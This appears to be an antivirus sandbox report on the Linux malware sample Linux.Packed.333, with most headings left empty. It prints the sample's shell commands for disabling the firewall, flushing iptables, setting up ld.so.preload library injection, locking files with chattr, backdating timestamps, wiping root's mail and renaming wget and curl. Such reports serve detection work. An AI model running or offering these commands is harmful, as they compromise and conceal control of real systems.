Linux.Packed.333

To ensure autorun and distribution:

Creates or modifies the following files:

Malicious functions:

Launches itself as a daemon

Modifies firewall settings:

Launches processes:

sh -c ufw disable; iptables -F; echo nameserver 8.8.8.8 > /etc/resolv.conf; chattr -i /sbin/mdmisc; rm -f /sbin/mdmisc;
chattr -i /sbin/mdmisc
rm -f /sbin/mdmisc
sh -c chmod +x /sbin/mdmisc; touch -acmr /bin/sh /sbin/mdmisc; /sbin/mdmisc;
chmod +x /sbin/mdmisc
touch -acmr /bin/sh /sbin/mdmisc
/sbin/mdmisc
sh -c chattr -i /etc/init.d/mdmisc;rm -f /etc/init.d/mdmisc /etc/rc2.d/S20mdmisc /etc/rc3.d/S20mdmisc /etc/rc4.d/S20mdmisc /etc/rc5.d/S20mdmisc;
chattr -i /etc/init.d/mdmisc
rm -f /etc/init.d/mdmisc /etc/rc2.d/S20mdmisc /etc/rc3.d/S20mdmisc /etc/rc4.d/S20mdmisc /etc/rc5.d/S20mdmisc
sh -c touch -acmr /bin/sh /usr/local/lib/libftp.so; chattr +i /usr/local/lib/libftp.so;
touch -acmr /bin/sh /usr/local/lib/libftp.so
chattr +i /usr/local/lib/libftp.so
sh -c chattr -i /var/spool/mail/root; echo 0 > /var/spool/mail/root; chmod 0 /var/spool/mail/root; chattr +i /var/spool/mail/root;
chattr -i /var/spool/mail/root
chmod 0 /var/spool/mail/root
chattr +i /var/spool/mail/root
sh -c chattr -i /etc/ld.so.preload; rm -f /etc/ld.so.preload; echo /usr/local/lib/libftp.so > /etc/ld.so.preload;
chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
sh -c touch -acmr /bin/sh /etc/ld.so.preload; chattr +i /etc/ld.so.preload;
touch -acmr /bin/sh /etc/ld.so.preload
chattr +i /etc/ld.so.preload
sh -c chattr -i /usr/bin/wget; mv /usr/bin/wget /usr/bin/tegw
chattr -i /usr/bin/wget
mv /usr/bin/wget /usr/bin/tegw
sh -c chattr -i /usr/bin/curl; mv /usr/bin/curl /usr/bin/lruc

Performs operations with the file system:

Modifies file access rights:

Creates or modifies files:

Deletes files:

Network activity:

Establishes connection:

HTTP GET requests:

DNS ASK:

Sends data to the following servers:

Receives data from the following servers:

Other:

Collects CPU information